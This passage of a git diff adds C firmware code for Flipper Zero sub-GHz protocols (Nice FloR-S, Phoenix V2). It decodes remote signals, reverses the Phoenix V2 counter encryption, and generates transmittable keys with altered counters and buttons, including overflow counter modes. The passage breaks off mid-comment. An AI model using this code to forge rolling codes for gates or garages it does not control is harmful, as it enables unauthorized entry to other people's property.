+    SubGhzProtocolDecoderNiceFlorS* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if((instance->generic.data_count_bit !=
+            subghz_protocol_nice_flor_s_const.min_count_bit_for_found) &&
+           (instance->generic.data_count_bit != NICE_ONE_COUNT_BIT)) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+        if(instance->generic.data_count_bit == NICE_ONE_COUNT_BIT) {
+            if(!flipper_format_rewind(flipper_format)) {
+                FURI_LOG_E(TAG, "Rewind error");
+                ret = SubGhzProtocolStatusErrorParserOthers;
+                break;
+            }
+            uint32_t temp = 0;
+            if(!flipper_format_read_uint32(flipper_format, "Data", (uint32_t*)&temp, 1)) {
+                FURI_LOG_E(TAG, "Missing Data");
+                ret = SubGhzProtocolStatusErrorParserOthers;
+                break;
+            }
+            instance->generic.data_2 = (uint64_t)temp;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint32_t tmp_counter_mode;
+        if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+            nice_flors_counter_mode = (uint8_t)tmp_counter_mode;
+        } else {
+            nice_flors_counter_mode = 0;
+        }
+    } while(false);
+    return ret;
+}
+
+static uint8_t subghz_protocol_nice_flor_s_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+        case 0x8:
+            btn = 0x1;
+            break;
+        case 0x3:
+            btn = 0x1;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+        case 0x8:
+            btn = 0x4;
+            break;
+        case 0x3:
+            btn = 0x4;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x8;
+            break;
+        case 0x2:
+            btn = 0x8;
+            break;
+        case 0x4:
+            btn = 0x8;
+            break;
+        case 0x8:
+            btn = 0x2;
+            break;
+        case 0x3:
+            btn = 0x8;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x3;
+            break;
+        case 0x2:
+            btn = 0x3;
+            break;
+        case 0x4:
+            btn = 0x3;
+            break;
+        case 0x8:
+            btn = 0x3;
+            break;
+        case 0x3:
+            btn = 0x2;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+void subghz_protocol_decoder_nice_flor_s_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlorS* instance = context;
+
+    subghz_protocol_nice_flor_s_remote_controller(
+        &instance->generic, instance->nice_flor_s_rainbow_table_file_name);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 16;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    if(instance->generic.data_count_bit == NICE_ONE_COUNT_BIT) {
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:%013llX%llX\r\n"
+            "Sn:%05lX\r\n"
+            "Cnt:%04lX Btn:%02X\r\n",
+            NICE_ONE_NAME,
+            instance->generic.data_count_bit,
+            instance->generic.data,
+            instance->generic.data_2,
+            instance->generic.serial,
+            instance->generic.cnt,
+            instance->generic.btn);
+    } else {
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:0x%013llX\r\n"
+            "Sn:%05lX\r\n"
+            "Cnt:%04lX Btn:%02X\r\n",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            instance->generic.data,
+            instance->generic.serial,
+            instance->generic.cnt,
+            instance->generic.btn);
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flor_s.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flor_s.h
new file mode 100644
index 000000000..4d635d3fb
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flor_s.h
@@ -0,0 +1,111 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_NICE_FLOR_S_NAME "Nice FloR-S"
+
+typedef struct SubGhzProtocolDecoderNiceFlorS SubGhzProtocolDecoderNiceFlorS;
+typedef struct SubGhzProtocolEncoderNiceFlorS SubGhzProtocolEncoderNiceFlorS;
+
+extern const SubGhzProtocolDecoder subghz_protocol_nice_flor_s_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_nice_flor_s_encoder;
+extern const SubGhzProtocol subghz_protocol_nice_flor_s;
+
+/**
+ * Allocate SubGhzProtocolEncoderNiceFlorS.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderNiceFlorS* pointer to a SubGhzProtocolEncoderNiceFlorS instance
+ */
+void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderNiceFlorS.
+ * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance
+ */
+void subghz_protocol_encoder_nice_flor_s_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance
+ */
+void subghz_protocol_encoder_nice_flor_s_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_nice_flor_s_yield(void* context);
+
+uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_name);
+
+/**
+ * Allocate SubGhzProtocolDecoderNiceFlorS.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderNiceFlorS* pointer to a SubGhzProtocolDecoderNiceFlorS instance
+ */
+void* subghz_protocol_decoder_nice_flor_s_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderNiceFlorS.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlorS instance
+ */
+void subghz_protocol_decoder_nice_flor_s_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderNiceFlorS.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlorS instance
+ */
+void subghz_protocol_decoder_nice_flor_s_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlorS instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_nice_flor_s_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlorS instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_nice_flor_s_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderNiceFlorS.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlorS instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_nice_flor_s_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderNiceFlorS.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlorS instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_nice_flor_s_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlorS instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_nice_flor_s_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/phoenix_v2.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/phoenix_v2.c
new file mode 100644
index 000000000..41f4e1c7d
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/phoenix_v2.c
@@ -0,0 +1,688 @@
+#include "phoenix_v2.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocolPhoenixV2"
+
+//variable used to bypass CounterMode settings if user just change Counter or Button
+static bool bypass = false;
+
+static const SubGhzBlockConst subghz_protocol_phoenix_v2_const = {
+    .te_short = 427,
+    .te_long = 853,
+    .te_delta = 100,
+    .min_count_bit_for_found = 52,
+};
+
+struct SubGhzProtocolDecoderPhoenix_V2 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderPhoenix_V2 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    Phoenix_V2DecoderStepReset = 0,
+    Phoenix_V2DecoderStepFoundStartBit,
+    Phoenix_V2DecoderStepSaveDuration,
+    Phoenix_V2DecoderStepCheckDuration,
+} Phoenix_V2DecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_phoenix_v2_decoder = {
+    .alloc = subghz_protocol_decoder_phoenix_v2_alloc,
+    .free = subghz_protocol_decoder_phoenix_v2_free,
+
+    .feed = subghz_protocol_decoder_phoenix_v2_feed,
+    .reset = subghz_protocol_decoder_phoenix_v2_reset,
+
+    .get_hash_data = subghz_protocol_decoder_phoenix_v2_get_hash_data,
+    .serialize = subghz_protocol_decoder_phoenix_v2_serialize,
+    .deserialize = subghz_protocol_decoder_phoenix_v2_deserialize,
+    .get_string = subghz_protocol_decoder_phoenix_v2_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_phoenix_v2_encoder = {
+    .alloc = subghz_protocol_encoder_phoenix_v2_alloc,
+    .free = subghz_protocol_encoder_phoenix_v2_free,
+
+    .deserialize = subghz_protocol_encoder_phoenix_v2_deserialize,
+    .stop = subghz_protocol_encoder_phoenix_v2_stop,
+    .yield = subghz_protocol_encoder_phoenix_v2_yield,
+};
+
+const SubGhzProtocol subghz_protocol_phoenix_v2 = {
+    .name = SUBGHZ_PROTOCOL_PHOENIX_V2_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_phoenix_v2_decoder,
+    .encoder = &subghz_protocol_phoenix_v2_encoder,
+};
+
+void* subghz_protocol_encoder_phoenix_v2_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderPhoenix_V2* instance = malloc(sizeof(SubGhzProtocolEncoderPhoenix_V2));
+
+    instance->base.protocol = &subghz_protocol_phoenix_v2;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_phoenix_v2_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderPhoenix_V2* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static uint8_t v2_phoenix_counter_mode = 0;
+
+// Pre define functions
+static uint16_t subghz_protocol_phoenix_v2_encrypt_counter(uint64_t full_key, uint16_t counter);
+static void subghz_protocol_phoenix_v2_check_remote_controller(SubGhzBlockGeneric* instance);
+
+bool subghz_protocol_phoenix_v2_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolEncoderPhoenix_V2* instance = context;
+    instance->generic.btn = 0x1;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->generic.data_count_bit = 52;
+
+    uint64_t local_data_rev =
+        (uint64_t)(((uint64_t)instance->generic.cnt << 40) |
+                   ((uint64_t)instance->generic.btn << 32) | (uint64_t)instance->generic.serial);
+
+    uint16_t encrypted_counter = (uint16_t)subghz_protocol_phoenix_v2_encrypt_counter(
+        local_data_rev, instance->generic.cnt);
+
+    instance->generic.data = subghz_protocol_blocks_reverse_key(
+                                 (uint64_t)(((uint64_t)encrypted_counter << 40) |
+                                            ((uint64_t)instance->generic.btn << 32) |
+                                            (uint64_t)instance->generic.serial),
+                                 instance->generic.data_count_bit + 4) &
+                             0xFFFFFFFFFFFFF;
+
+    return SubGhzProtocolStatusOk ==
+           subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+// Get custom button code
+static uint8_t subghz_protocol_phoenix_v2_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+        case 0x8:
+            btn = 0x1;
+            break;
+        case 0x3:
+            btn = 0x1;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+        case 0x8:
+            btn = 0x4;
+            break;
+        case 0x3:
+            btn = 0x4;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x8;
+            break;
+        case 0x2:
+            btn = 0x8;
+            break;
+        case 0x4:
+            btn = 0x8;
+            break;
+        case 0x8:
+            btn = 0x2;
+            break;
+        case 0x3:
+            btn = 0x8;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x3;
+            break;
+        case 0x2:
+            btn = 0x3;
+            break;
+        case 0x4:
+            btn = 0x3;
+            break;
+        case 0x8:
+            btn = 0x3;
+            break;
+        case 0x3:
+            btn = 0x2;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderPhoenix_V2 instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_phoenix_v2_get_upload(SubGhzProtocolEncoderPhoenix_V2* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    uint8_t btn = instance->generic.btn;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(btn);
+    }
+
+    // Get custom button code
+    // This will override the btn variable if a custom button is set
+    btn = subghz_protocol_phoenix_v2_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn)) {
+        bypass = true;
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+    }
+
+    // Reconstruction of the data
+    // if we change counter/button in SignalSettings menu then we must bypass counter_modes, just gen and save signal file.
+    if(subghz_block_generic_global.cnt_need_override) bypass = true;
+
+    if(v2_phoenix_counter_mode == 0 || bypass) {
+        // Check for OFEX (overflow experimental) mode
+        if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF || bypass) {
+            bypass = false;
+            // standart counter mode. PULL data from subghz_block_generic_global variables
+            if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+                // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
+                    instance->generic.cnt = 0;
+                } else {
+                    instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+                }
+            }
+        } else {
+            if((instance->generic.cnt + 0x1) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+                instance->generic.cnt = 0xFFFE;
+            } else {
+                instance->generic.cnt++;
+            }
+        }
+    } else if(v2_phoenix_counter_mode == 1) {
+        // Mode 1 (ofex like)
+        // 0000 / 0001 / FFFE / FFFF
+        if((instance->generic.cnt + 0x1) > 0xFFFF) {
+            instance->generic.cnt = 0;
+        } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+            instance->generic.cnt = 0xFFFE;
+        } else {
+            instance->generic.cnt++;
+        }
+    } else {
+        // Mode 2 (0 to 4)
+        // 0x0000 / 0x0001 / 0x0002 / 0x0003 / 0x0004
+        if(instance->generic.cnt >= 0x0004) {
+            instance->generic.cnt = 0;
+        } else {
+            instance->generic.cnt++;
+        }
+    }
+
+    uint64_t local_data_rev = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit + 4);
+
+    uint16_t encrypted_counter = (uint16_t)subghz_protocol_phoenix_v2_encrypt_counter(
+        local_data_rev, instance->generic.cnt);
+
+    instance->generic.data = subghz_protocol_blocks_reverse_key(
+        (uint64_t)(((uint64_t)encrypted_counter << 40) | ((uint64_t)btn << 32) |
+                   (uint64_t)instance->generic.serial),
+        instance->generic.data_count_bit + 4);
+
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_phoenix_v2_const.te_short * 60);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_phoenix_v2_const.te_short * 6);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(!bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_phoenix_v2_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_phoenix_v2_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_phoenix_v2_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_phoenix_v2_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_phoenix_v2_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderPhoenix_V2* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_phoenix_v2_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint32_t tmp_counter_mode;
+        if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+            v2_phoenix_counter_mode = (uint8_t)tmp_counter_mode;
+        } else {
+            v2_phoenix_counter_mode = 0;
+        }
+
+        subghz_protocol_phoenix_v2_check_remote_controller(&instance->generic);
+
+        if(!subghz_protocol_encoder_phoenix_v2_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_phoenix_v2_stop(void* context) {
+    SubGhzProtocolEncoderPhoenix_V2* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_phoenix_v2_yield(void* context) {
+    SubGhzProtocolEncoderPhoenix_V2* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_phoenix_v2_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderPhoenix_V2* instance = malloc(sizeof(SubGhzProtocolDecoderPhoenix_V2));
+    instance->base.protocol = &subghz_protocol_phoenix_v2;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_phoenix_v2_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPhoenix_V2* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_phoenix_v2_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPhoenix_V2* instance = context;
+    instance->decoder.parser_step = Phoenix_V2DecoderStepReset;
+}
+
+void subghz_protocol_decoder_phoenix_v2_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPhoenix_V2* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case Phoenix_V2DecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_phoenix_v2_const.te_short * 60) <
+                        subghz_protocol_phoenix_v2_const.te_delta * 30)) {
+            //Found Preambula
+            instance->decoder.parser_step = Phoenix_V2DecoderStepFoundStartBit;
+        }
+        break;
+    case Phoenix_V2DecoderStepFoundStartBit:
+        if(level && (DURATION_DIFF(duration, (subghz_protocol_phoenix_v2_const.te_short * 6)) <
+                     subghz_protocol_phoenix_v2_const.te_delta * 4)) {
+            //Found start bit
+            instance->decoder.parser_step = Phoenix_V2DecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = Phoenix_V2DecoderStepReset;
+        }
+        break;
+    case Phoenix_V2DecoderStepSaveDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_phoenix_v2_const.te_short * 10 +
+                            subghz_protocol_phoenix_v2_const.te_delta)) {
+                instance->decoder.parser_step = Phoenix_V2DecoderStepFoundStartBit;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_phoenix_v2_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = Phoenix_V2DecoderStepCheckDuration;
+            }
+        }
+        break;
+    case Phoenix_V2DecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_phoenix_v2_const.te_short) <
+                subghz_protocol_phoenix_v2_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_phoenix_v2_const.te_long) <
+                subghz_protocol_phoenix_v2_const.te_delta * 3)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = Phoenix_V2DecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_phoenix_v2_const.te_long) <
+                 subghz_protocol_phoenix_v2_const.te_delta * 3) &&
+                (DURATION_DIFF(duration, subghz_protocol_phoenix_v2_const.te_short) <
+                 subghz_protocol_phoenix_v2_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = Phoenix_V2DecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = Phoenix_V2DecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = Phoenix_V2DecoderStepReset;
+        }
+        break;
+    }
+}
+
+static uint16_t subghz_protocol_phoenix_v2_encrypt_counter(uint64_t full_key, uint16_t counter) {
+    uint8_t xor_key1 = (uint8_t)(full_key >> 24); // First byte of serial
+    uint8_t xor_key2 = (uint8_t)((full_key >> 16) & 0xFF); // Second byte of serial
+
+    uint8_t byte2 = (uint8_t)(counter >> 8); // First counter byte
+    uint8_t byte1 = (uint8_t)(counter & 0xFF); // Second counter byte
+
+    // See decrypt function before reading these comments
+    for(int i = 0; i < 16; i++) {
+        // The key to reversing the process is that the MSB of the *current* byte2
+        // tells us what the MSB of the *previous* byte1 was. This allows us to
+        // determine if the conditional XOR was applied before?.
+        uint8_t msb_of_prev_byte1 = byte2 & 0x80;
+
+        if(msb_of_prev_byte1 == 0) {
+            // reverse the XOR.
+            byte2 ^= xor_key2;
+            byte1 ^= xor_key1;
+        }
+
+        // Perform the bit shuffle in reverse
+        // Store the least significant bit (LSB) of the current byte1.
+        uint8_t lsb_of_current_byte1 = byte1 & 1;
+
+        byte2 = (byte2 << 1) | lsb_of_current_byte1;
+        byte1 = (byte1 >> 1) | msb_of_prev_byte1;
+    }
+
+    return (uint16_t)byte1 << 8 | byte2;
+}
+
+static uint16_t subghz_protocol_phoenix_v2_decrypt_counter(uint64_t full_key) {
+    uint16_t encrypted_value = (uint16_t)((full_key >> 40) & 0xFFFF);
+
+    uint8_t byte1 = (uint8_t)(encrypted_value >> 8); // First encrypted counter byte
+    uint8_t byte2 = (uint8_t)(encrypted_value & 0xFF); // Second encrypted counter byte
+
+    uint8_t xor_key1 = (uint8_t)(full_key >> 24); // First byte of serial
+    uint8_t xor_key2 = (uint8_t)((full_key >> 16) & 0xFF); // Second byte of serial
+
+    for(int i = 0; i < 16; i++) {
+        // Store the most significant bit (MSB) of byte1.
+        // The check `(msb_of_byte1 == 0)` will determine if we apply the XOR keys.
+        uint8_t msb_of_byte1 = byte1 & 0x80;
+
+        // Store the least significant bit (LSB) of byte2.
+        uint8_t lsb_of_byte2 = byte2 & 1;
+
+        // Perform a bit shuffle between the two bytes
+        byte2 = (byte2 >> 1) | msb_of_byte1;
+        byte1 = (byte1 << 1) | lsb_of_byte2;
+
+        // Conditionally apply the XOR keys based on the original MSB of byte1.
+        if(msb_of_byte1 == 0) {
+            byte1 ^= xor_key1;
+            // The mask `& 0x7F` clears the MSB of byte2 after the XOR.
+            byte2 = (byte2 ^ xor_key2) & 0x7F;
+        }
+    }
+
+    return (uint16_t)byte2 << 8 | byte1;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_phoenix_v2_check_remote_controller(SubGhzBlockGeneric* instance) {
+    // 2022.08 - @Skorpionm
+    // 2025.07 - @xMasterX & @RocketGod-git
+    // Fully supported now, with button switch and add manually
+    //
+    // Key samples
